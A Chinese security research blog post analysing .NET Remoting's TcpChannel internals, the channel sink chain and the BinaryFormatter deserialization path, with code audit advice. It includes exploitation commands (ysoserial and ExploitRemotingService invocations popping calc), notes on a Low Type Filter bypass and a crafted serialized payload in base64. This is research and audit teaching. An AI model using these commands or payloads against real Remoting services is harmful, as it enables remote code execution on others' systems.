.Net Remoting 系列一

前言:笔者在代码审计时碰到许多以.Net Remoting技术开发的应用如SolarWinds、VeeamBackup、Ivanti等产品,尽管随着 WCF 和 gRPC 等更现代化技术的兴起,.NET Remoting 已逐渐淡出主流,但是依然有其研究的价值,本次主要以TcpChannel为主分析其工作原理、应用场景,后续会通过两个漏洞介绍.Net Remoting在不同场景下的利用姿势和挖掘思路

简介

.NET Remoting 是通过通道(Channel)实现不同应用程序域(AppDomain)之间对象通信的技术核心,依赖程序集 System.Runtime.Remoting.dll 提供支持。通道负责在进程间或网络上传输序列化后的对象数据,是 Remoting 架构的关键组件。

在 .NET Remoting 中,主要支持以下几种通道类型:

  1. TcpChannel
    位于命名空间 System.Runtime.Remoting.Channels.Tcp,提供高效的二进制传输,适合局域网内低延迟、高吞吐的场景。
  2. HttpChannel
    位于命名空间 System.Runtime.Remoting.Channels.Http,基于 HTTP 协议传输数据,支持 SOAP 格式化,适合跨防火墙或需要更通用通信协议的应用。
  3. IpcChannel
    位于命名空间 System.Runtime.Remoting.Channels.Ipc,基于命名管道(Named Pipe),为同一台机器上的进程间通信提供高效、轻量级的解决方案。
  4. 自定义通道(Custom Channel)
    通过实现 IChannelReceiverIChannelISecurableChannel 接口,开发者可以设计满足特定需求的自定义通道,例如支持特殊传输协议或安全策略的通信。

通过上述通道类型,.NET Remoting 为分布式应用提供了灵活的通信方式,并允许根据场景需求选择合适的传输层。

.Net Remoting demo

以TcpChannel为例写一个服务端(TcpServerChannel)和客户端(TcpClientChannel)

远程对象MBR

  1. using System;
  2. using System.Runtime.Serialization;
  3. namespace RemotableServer
  4. {
  5. [Serializable]
  6. public class RemoteObject1 : MarshalByRefObject
  7. {
  8. private int callCount = 0;
  9. public Guid Id { get; private set; }
  10. public string Tag { get; private set; }
  11. public RemoteObject1(Guid id, string hint, string tag)
  12. {
  13. this.Id = id;
  14. this.Tag = tag;
  15. }
  16. public RemoteObject1()
  17. {
  18. }
  19. public int GetCount()
  20. {
  21. Console.WriteLine("GetCount was called.");
  22. callCount++;
  23. return callCount;
  24. }
  25. protected RemoteObject1(SerializationInfo info, StreamingContext context)
  26. {
  27. this.Id = (Guid)info.GetValue("Id", typeof(Guid));
  28. this.Tag = "tag";
  29. }
  30. public void GetObjectData(SerializationInfo info, StreamingContext context)
  31. {
  32. info.AddValue("Id", this.Id);
  33. info.AddValue("Tag", this.Tag);
  34. }
  35. }
  36. }

服务端

  1. Channel Sink Provider(实现IServerChannelSinkProvider)并指定TypeFilterLevel值
  2. ChannelServices.RegisterChannel()注册ServerChannel(实现IChannelReceiver, IChannel)可自定义。
  3. RemotingConfiguration.RegisterWellKnownServiceType注册ObjectUri以及绑定的对象
  1. using System;
  2. using System.Collections;
  3. using System.IO;
  4. using System.Runtime.Remoting;
  5. using System.Runtime.Remoting.Channels;
  6. using System.Runtime.Remoting.Channels.Tcp;
  7. using System.Runtime.Serialization.Formatters;
  8. namespace RemotableServer
  9. {
  10. class RemoteType : MarshalByRefObject
  11. {
  12. }
  13. internal class Program
  14. {
  15. public static void Main(string[] args)
  16. {
  17. BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider()
  18. {
  19. TypeFilterLevel = TypeFilterLevel.Low
  20. };
  21. IDictionary hashtables = new Hashtable();
  22. hashtables["port"] = 9999;
  23. String object_uri = "RemotableServer";
  24. TcpServerChannel tcpServerChannel = new TcpServerChannel(hashtables, binary);
  25. ChannelServices.RegisterChannel(tcpServerChannel, false);
  26. // RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteType), "RemotableServer", WellKnownObjectMode.Singleton);
  27. RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteObject1), object_uri, WellKnownObjectMode.Singleton);
  28. Console.WriteLine("Server Activated at tcp://localhost:{0}/{1}",hashtables["port"], object_uri);
  29. Console.ReadKey();
  30. }
  31. }
  32. }

客户端

客户端调用可通过TcpClientChannel、Activator、TcpChannel等方式调用远程对象

  1. //Activator调用
  2. string serverAddress = "tcp://localhost:9999/RemotableServer";
  3. RemotableServer.RemoteObject1 obj1 = (RemotableServer.RemoteObject1)Activator.GetObject(typeof(RemotableServer.RemoteObject1), serverAddress);
  4. Console.WriteLine("get string:\t{0}", obj1.GetCount());
  5. Console.WriteLine("get string:\t{0}", obj1.GetCount());
  6. Console.WriteLine("get string:\t{0}", obj1.GetCount());
  7. //TcpClientChannel
  8. TcpClientChannel clientChannel = new TcpClientChannel();
  9. ChannelServices.RegisterChannel(clientChannel);
  10. RemotingConfiguration.RegisterWellKnownClientType(
  11. typeof(RemotableServer.RemoteObject1), "tcp://localhost:9999/RemotableServer"
  12. );
  13. RemotableServer.RemoteObject1 remoteObject1 = new RemotableServer.RemoteObject1();
  14. Console.WriteLine(remoteObject1.GetCount());
  15. // TcpChannel
  16. TcpChannel channel = new TcpChannel();
  17. ChannelServices.RegisterChannel(channel, false);
  18. RemotableServer.RemoteObject1 remoteObject = (RemotableServer.RemoteObject1)RemotingServices.Connect(typeof(RemotableServer.RemoteObject1), "tcp://localhost:9999/RemotableServer");
  19. Console.WriteLine(remoteObject.GetCount());

运行效果:

  1. >RemotableObjects.exe
  2. get string: 1
  3. get string: 2
  4. get string: 3

.Net Remoting 实现

这里大致分析下其代码实现,如果碰上自定义的ServerChannel能够快速理清代码逻辑。
TcpServerChannel和TcpClientChannel分别实现了IChannelReceiver、IChannelSender,首先来看看TcpServerChannel,其构造函数调用SetupChannel方法开启Channel

  1. private void SetupChannel()
  2. {
  3. //是否需要认证
  4. if (this.authSet && !this._secure)
  5. {
  6. throw new RemotingException(CoreChannel.GetResourceString("Remoting_Tcp_AuthenticationConfigServer"));
  7. }
  8. //存储远程通道的通道数据。
  9. this._channelData = new ChannelDataStore(null);
  10. if (this._port > 0)
  11. {
  12. this._channelData.ChannelUris = new string[1];
  13. this._channelData.ChannelUris[0] = this.GetChannelUri();
  14. }
  15. //sinkprovider为空使用默认的sinkProviderChain
  16. if (this._sinkProvider == null)
  17. {
  18. this._sinkProvider = this.CreateDefaultServerProviderChain();
  19. }
  20. CoreChannel.CollectChannelDataFromServerSinkProviders(this._channelData, this._sinkProvider);
  21. //配置sinkProviderChain
  22. IServerChannelSink nextSink = ChannelServices.CreateServerChannelSinkChain(this._sinkProvider, this);
  23. this._transportSink = new TcpServerTransportSink(nextSink, this._impersonate);
  24. //监听
  25. this._acceptSocketCallback = new AsyncCallback(this.AcceptSocketCallbackHelper);
  26. if (this._port >= 0)
  27. {
  28. this._tcpListener = new ExclusiveTcpListener(this._bindToAddr, this._port);
  29. this.StartListening(null);
  30. }
  31. }

如上,主要关注Channel Sinks( transport sink->formatter sinks->dispatch sink ),这里引用一张图

Pasted image 20240920150422.png
TcpServerChannel的默认链
TcpServerTransportSink → BinaryServerFormatterSink → SoapServerFormatterSink → DispatchChannelSink

TcpClientChannel的默认链是BinaryClientFormatterSinkTcpClientTransportSink,代码如下

  1. private IClientChannelSinkProvider CreateDefaultClientProviderChain()
  2. {
  3. IClientChannelSinkProvider clientProviderChain = (IClientChannelSinkProvider) new BinaryClientFormatterSinkProvider();
  4. clientProviderChain.Next = (IClientChannelSinkProvider) new TcpClientTransportSinkProvider(this._prop);
  5. return clientProviderChain;
  6. }

利用ExploitRemotingService打一遍,调用堆栈如图

187124316260468.png

整个调用过程在经过Channel Sinks处理之后最终反序列化RCE,看下大致数据流

  1. //TcpServerTransportSink
  2. internal void ServiceRequest(object state)
  3. {
  4. TcpServerSocketHandler state1 = (TcpServerSocketHandler) state;
  5. ITransportHeaders requestHeaders = state1.ReadHeaders();
  6. Stream requestStream = state1.GetRequestStream();
  7. ......
  8. serverProcessing = this._nextSink.ProcessMessage((IServerChannelSinkStack) sinkStack, (IMessage) null, requestHeaders, requestStream, out IMessage _, out responseHeaders, out responseStream);
  9. // BinaryServerFormatterSink
  10. public ServerProcessing ProcessMessage(
  11. IServerChannelSinkStack sinkStack,
  12. IMessage requestMsg,
  13. ITransportHeaders requestHeaders,
  14. Stream requestStream,
  15. out IMessage responseMsg,
  16. out ITransportHeaders responseHeaders,
  17. out Stream responseStream)
  18. {
  19. .......
  20. requestMsg = CoreChannel.DeserializeBinaryRequestMessage(str, requestStream, this._strictBinding, this.TypeFilterLevel);
  21. // CoreChannel
  22. internal static IMessage DeserializeBinaryRequestMessage(
  23. string objectUri,
  24. Stream inputStream,
  25. bool bStrictBinding,
  26. TypeFilterLevel securityLevel)
  27. {
  28. BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding);
  29. binaryFormatter.FilterLevel = securityLevel;
  30. CoreChannel.UriHeaderHandler uriHeaderHandler = new CoreChannel.UriHeaderHandler(objectUri);
  31. return (IMessage) binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(uriHeaderHandler.HeaderHandler));
  32. }

比较关键的点就是sinkProviderChains以及处理消息的逻辑(ProcessMessage)以及上面未提及到的认证的逻辑(IAuthorizeRemotingConnection后面会遇到,这里不展开说了)。

代码审计需要注意什么

总结下从代码审计视角需要注意的问题

  1. 注册的Channel类型(搜ChannelServices#RegisterChannelInternal的调用)
  2. sinkProviderChains
  3. TypeFilterLevel
  4. 注册的objecturi(搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal)
  5. 处理消息逻辑(IServerChannelSink#ProcessMessage的实现)

.Net Remoting 利用

Full Type Filter

最初是由James Forshaw发现的,当TypeFilterLevel的值为Full时,参考Full)允许ISerializableMarshalByRefObject作为参数传递。在ExploitRemotingService中提供了两种利用方式,一种是直接发送原始数据

  1. ysoserial.exe -g DataSet -f BinaryFormatter -c calc
  2. ExploitRemotingService.exe tcp://localhost:9999/RemotableServer raw yso_base64

还有一种就是这儿提到的,但是会有文件落地。没有深入调试分析,大致原理见下图

Pasted image 20240920170416.png
这里不详细介绍了,可以详细读读该文章的前半部分。

Low Type Filter

启用Low Type Filter之后的绕过方式就是上面提到文章中的后半部分(绕过CAS和MBR类型检查),利用

  1. ExploitRemotingService.exe -uselease -autodir tcp://127.0.0.1:12345/remoteserver exec calc

本地测试之后该工具并不适用于TcpServerChannel只适用于TcpChannel,当然发送raw数据还是可以的。后面翻到James Forshaw文章中提到过

  1. This entire exploit is implemented behind the _uselease_ option. It works in the same way as _useser_ but should work even if the server is running _Low Type Filter_ mode. Of course there's caveats, this only works if the server sets up a bi-direction channel, if it registers a _TcpChannel_ or _IpcChannel_ then that should be fine, but if it just sets up a _TcpServerChannel_ it might not work. Also you still need to know the URI of the server and bypass any authentication requirements.

八月底偶然发现cbwang505师傅写了一个通用的EXP工具,和James Forshaw的绕过方式由很大不同。

前者利用FileInfo/DirectoryInfo写入程序集然后直接调用,后者通过SortedSet利用链加载程序集间接调用( XamlReader.Parse )实现RCE( 无文件落地 ),可参考 这篇文章

为了测试效果更加直观,原工具的基础上修改了部分代码(PS:默认开启secure),可以看到执行成功后当前AppDomain的程序集多了一个FakeAsm.dll,不足的一点是在调用时需要遍历所有程序集找到这个恶意程序集,应该还有优化的空间。效果:

Pasted image 20240923170600.png

总结

现在的应用都会做一些防护措施,即使TypeFilterLevel的值为Full时也不一定能直接利用(比如配置了白名单),这时候就需要关注MBR对象的方法是否存在一些直接可调用的危险方法。

启用Low Type Filter之后呢?虽然会检查CAS和MBR,但是依然能够反序列化一些符合条件的对象,可以以序列化构造函数为跳板找到调用的危险方法。

Pasted image 20240924142001.png

将上面的RemoteObject1类改为实现ISerializable,RemoterServer开启Low Type Filter,构造序列化数据

  1. public static void Main(string[] args)
  2. {
  3. // low type serial test
  4. string[] s = new[] { "aaa" };
  5. RemoteObject1Wrapper payload = new RemoteObject1Wrapper(s);
  6. String poc = Convert.ToBase64String((byte[])Serialize(payload));
  7. Console.WriteLine(poc);
  8. }
  9. [Serializable]
  10. public class RemoteObject1Wrapper : ISerializable
  11. {
  12. private string[] _fakeList;
  13. public RemoteObject1Wrapper(string[] _fakeList)
  14. {
  15. this._fakeList = _fakeList;
  16. }
  17. public void GetObjectData(SerializationInfo info, StreamingContext context)
  18. {
  19. info.SetType(typeof(RemotableServer.RemoteObject1));
  20. info.AddValue("Id", Guid.NewGuid());
  21. info.AddValue("Tag", "aaaaa");
  22. Console.WriteLine(_fakeList);
  23. }
  24. }
  25. //输出 AAEAAAD/////AQAAAAAAAAAMAgAAAEZSZW1vdGFibGVTZXJ2ZXIsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAdUmVtb3RhYmxlU2VydmVyLlJlbW90ZU9iamVjdDECAAAAAklkA1RhZwMBC1N5c3RlbS5HdWlkAgAAAAT9////C1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgLgVNlrimbzS73mwXYQSBjyBgQAAAAFYWFhYWEL

打断点,通过ExploitRemotingService发送序列化数据,效果如下

Pasted image 20240920183124.png

可以通过这种方式找找黑白名单中是否有可利用的类。

参考

https://learn.microsoft.com/en-gb/previous-versions/dotnet/netframework-4.0/5dxse167(v=vs.100)
https://www.tiraniddo.dev/2014/11/stupid-is-as-stupid-does-when-it-comes.html
https://www.tiraniddo.dev/2019/10/bypassing-low-type-filter-in-net.html
https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html
https://bbs.kanxue.com/thread-282934.htm#msg_header_h2_5

  • 发表于 2024-12-24 10:11:20
  • 阅读 ( 1685 )
  • 分类:WEB安全

0 条评论

g7shot
g7shot

3 篇文章

站长统计